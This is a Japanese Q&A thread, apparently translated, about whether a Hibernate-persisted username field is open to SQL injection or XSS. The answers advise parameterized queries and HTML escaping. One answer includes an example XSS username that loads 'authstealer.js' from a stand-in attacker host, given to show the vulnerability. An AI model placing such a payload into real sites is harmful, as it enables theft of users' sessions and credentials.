2017-10-19 4 views
0

私はデータは、ユーザーが自分のウェブサイト に登録することができ、フォームをユーザーPOJO攻撃者はJava POJOにsqlまたはjavascriptを注入できますか?

class User{ 
private String userName; 
private boolean enabled; 
private Date registrationDate; 
... 
} 

に保存され、その後、

org.hibernate.Session.persist(User) 

を使用してデータベースに永続化されてきたが、攻撃者ができる方法がありますuserNameフィールドにSQLインジェクションまたはXSSを実行したり、データを汚染したり、他のタイプの攻撃をしたり、どのように守っていますか?

また、String以外のデータ型にSQLステートメントやJavaScriptコードを格納することはできますか?

答えて

0

醜いことをせずに、冬眠のきれいな使い方は安全です。したがって、SQLインジェクションはありません。

しかし、HTMLフォーム入力がJavaScriptに対して保護されていない場合、JSをデータベースのテキストに入れることがあります。

このテキストを出力するときは、escapeHTML = trueに注意しなければなりません。 次にXSSはありません。

一般的に大きな問題ではありませんが、ダンプなどの管理ページの開発者の怠惰に気をつけてください。それらのページはより簡単に作成されます。他のフォーマットで

SVG(スクリプト化ベクタ形式)は、HTMLページ上のshowable画像、のための美しいスケーラブルなXMLフォーマットです。ただし、相互作用のためのJavaScriptが含まれている場合があります。

同じことが時々BLOBデータベース内秒で保存され、アップロードrichtテキストスプレッドシートフォーマットについても同様です。

1

https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection

フォームの入力を検証するために、常により良いです。与えられたオブジェクトは比較的シンプルなので、あなたにとっては問題ではありません。

また、クエリを文字列連結で構築せず、必要に応じてQuery.setParameter()を使用します。これらのメソッドはSQLインジェクション防止専用であり、この種のリスクを排除します。

1

これまで投稿したことから、これはXSSに脆弱に見えます。

Username<script src="http://myevilsite.com/authstealer.js"> 

サイト上で自分のユーザー名を見ている誰もが、いくつかのJSを実行します:私は私のユーザ名の次の文字列を提供する場合は何 。

あなたのサイトはburpでしょうか。

関連する問題